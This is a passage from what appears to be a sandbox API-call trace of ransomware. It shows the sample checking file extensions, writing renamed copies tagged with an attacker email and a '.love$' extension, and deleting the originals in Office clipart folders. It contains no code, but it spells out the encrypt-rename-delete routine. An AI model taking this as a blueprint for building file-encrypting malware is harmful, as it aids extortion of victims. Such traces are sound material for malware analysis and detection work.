(in: hFile=0x4b0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3600, lpOverlapped=0x0) returned 1 [0281.011] ReadFile (in: hFile=0x568, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.012] WriteFile (in: hFile=0x4b0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.012] SetEndOfFile (hFile=0x4b0) returned 1 [0281.012] CloseHandle (hObject=0x4b0) returned 1 [0281.012] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.012] SetEndOfFile (hFile=0x568) returned 1 [0281.018] CloseHandle (hObject=0x568) returned 1 [0281.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0281.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.020] lstrlenW (lpString=".doc") returned 4 [0281.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString=".docx") returned 5 [0281.021] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.021] lstrlenW (lpString=".pdf") returned 4 [0281.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString=".xls") returned 4 [0281.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.021] lstrlenW (lpString=".xlsx") returned 5 [0281.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.021] lstrlenW (lpString=".ppt") returned 4 [0281.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.021] lstrlenW (lpString=".zip") returned 4 [0281.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.021] lstrlenW (lpString=".rar") returned 4 [0281.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString=".bz2") returned 4 [0281.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString=".7z") returned 3 [0281.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.021] lstrlenW (lpString=".dbf") returned 4 [0281.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.021] lstrlenW (lpString=".1cd") returned 4 [0281.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.021] lstrlenW (lpString=".jpg") returned 4 [0281.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.021] lstrlenW (lpString=".doc") returned 4 [0281.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.021] lstrlenW (lpString=".docx") returned 5 [0281.021] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.021] lstrlenW (lpString=".pdf") returned 4 [0281.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.022] lstrlenW (lpString=".xls") returned 4 [0281.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.022] lstrlenW (lpString=".xlsx") returned 5 [0281.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.022] lstrlenW (lpString=".ppt") returned 4 [0281.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.022] lstrlenW (lpString=".zip") returned 4 [0281.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.022] lstrlenW (lpString=".rar") returned 4 [0281.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.022] lstrlenW (lpString=".bz2") returned 4 [0281.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.022] lstrlenW (lpString=".7z") returned 3 [0281.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.022] lstrlenW (lpString=".dbf") returned 4 [0281.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.022] lstrlenW (lpString=".1cd") returned 4 [0281.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0281.022] lstrlenW (lpString=".jpg") returned 4 [0281.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.022] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.022] lstrlenW (lpString="J0105846.WMF") returned 12 [0281.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0281.024] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8240) returned 1 [0281.024] CloseHandle (hObject=0x568) returned 1 [0281.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0281.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0281.025] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.025] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.027] GetLastError () returned 0x0 [0281.027] ReadFile (in: hFile=0x568, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2030, lpOverlapped=0x0) returned 1 [0281.209] WriteFile (in: hFile=0x4b0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2040, lpOverlapped=0x0) returned 1 [0281.211] ReadFile (in: hFile=0x568, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0281.211] WriteFile (in: hFile=0x4b0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0281.211] SetEndOfFile (hFile=0x4b0) returned 1 [0281.229] CloseHandle (hObject=0x4b0) returned 1 [0281.232] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.232] SetEndOfFile (hFile=0x568) returned 1 [0281.294] CloseHandle (hObject=0x568) returned 1 [0281.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0281.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.296] lstrlenW (lpString=".doc") returned 4 [0281.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.296] lstrlenW (lpString=".docx") returned 5 [0281.296] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0281.296] lstrlenW (lpString=".pdf") returned 4 [0281.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.296] lstrlenW (lpString=".xls") returned 4 [0281.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.296] lstrlenW (lpString=".xlsx") returned 5 [0281.296] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0281.296] lstrlenW (lpString=".ppt") returned 4 [0281.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.296] lstrlenW (lpString=".zip") returned 4 [0281.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.296] lstrlenW (lpString=".rar") returned 4 [0281.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString=".bz2") returned 4 [0281.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString=".7z") returned 3 [0281.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.297] lstrlenW (lpString=".dbf") returned 4 [0281.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.297] lstrlenW (lpString=".1cd") returned 4 [0281.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.297] lstrlenW (lpString=".jpg") returned 4 [0281.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.297] lstrlenW (lpString=".doc") returned 4 [0281.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString=".docx") returned 5 [0281.297] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0281.297] lstrlenW (lpString=".pdf") returned 4 [0281.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString=".xls") returned 4 [0281.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.297] lstrlenW (lpString=".xlsx") returned 5 [0281.297] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0281.297] lstrlenW (lpString=".ppt") returned 4 [0281.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.298] lstrlenW (lpString=".zip") returned 4 [0281.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.298] lstrlenW (lpString=".rar") returned 4 [0281.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.298] lstrlenW (lpString=".bz2") returned 4 [0281.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.298] lstrlenW (lpString=".7z") returned 3 [0281.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.298] lstrlenW (lpString=".dbf") returned 4 [0281.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.298] lstrlenW (lpString=".1cd") returned 4 [0281.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0281.298] lstrlenW (lpString=".jpg") returned 4 [0281.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.299] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.299] lstrlenW (lpString="J0106222.WMF") returned 12 [0281.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4 [0281.470] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=19600) returned 1 [0281.470] CloseHandle (hObject=0x2a4) returned 1 [0281.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0281.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0282.106] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.107] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0282.108] GetLastError () returned 0x0 [0282.108] ReadFile (in: hFile=0x380, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4c90, lpOverlapped=0x0) returned 1 [0282.111] WriteFile (in: hFile=0x544, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0282.112] ReadFile (in: hFile=0x380, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.112] WriteFile (in: hFile=0x544, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.112] SetEndOfFile (hFile=0x544) returned 1 [0282.113] CloseHandle (hObject=0x544) returned 1 [0282.113] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.113] SetEndOfFile (hFile=0x380) returned 1 [0282.116] CloseHandle (hObject=0x380) returned 1 [0282.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0282.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.118] lstrlenW (lpString=".doc") returned 4 [0282.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.118] lstrlenW (lpString=".docx") returned 5 [0282.118] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0282.118] lstrlenW (lpString=".pdf") returned 4 [0282.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.118] lstrlenW (lpString=".xls") returned 4 [0282.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.118] lstrlenW (lpString=".xlsx") returned 5 [0282.118] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0282.118] lstrlenW (lpString=".ppt") returned 4 [0282.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.118] lstrlenW (lpString=".zip") returned 4 [0282.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.118] lstrlenW (lpString=".rar") returned 4 [0282.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.118] lstrlenW (lpString=".bz2") returned 4 [0282.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.118] lstrlenW (lpString=".7z") returned 3 [0282.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.118] lstrlenW (lpString=".dbf") returned 4 [0282.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.119] lstrlenW (lpString=".1cd") returned 4 [0282.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.119] lstrlenW (lpString=".jpg") returned 4 [0282.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.119] lstrlenW (lpString=".doc") returned 4 [0282.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString=".docx") returned 5 [0282.119] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0282.119] lstrlenW (lpString=".pdf") returned 4 [0282.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString=".xls") returned 4 [0282.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.119] lstrlenW (lpString=".xlsx") returned 5 [0282.119] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0282.119] lstrlenW (lpString=".ppt") returned 4 [0282.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.119] lstrlenW (lpString=".zip") returned 4 [0282.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.119] lstrlenW (lpString=".rar") returned 4 [0282.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString=".bz2") returned 4 [0282.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString=".7z") returned 3 [0282.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.119] lstrlenW (lpString=".dbf") returned 4 [0282.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.119] lstrlenW (lpString=".1cd") returned 4 [0282.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0282.120] lstrlenW (lpString=".jpg") returned 4 [0282.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.120] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0282.120] lstrlenW (lpString="J0107024.WMF") returned 12 [0282.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0282.122] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3020) returned 1 [0282.122] CloseHandle (hObject=0x380) returned 1 [0282.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0282.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0282.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0282.122] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.123] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0282.124] GetLastError () returned 0x0 [0282.124] ReadFile (in: hFile=0x380, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xbcc, lpOverlapped=0x0) returned 1 [0282.126] WriteFile (in: hFile=0x544, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0282.127] ReadFile (in: hFile=0x380, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.128] WriteFile (in: hFile=0x544, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, 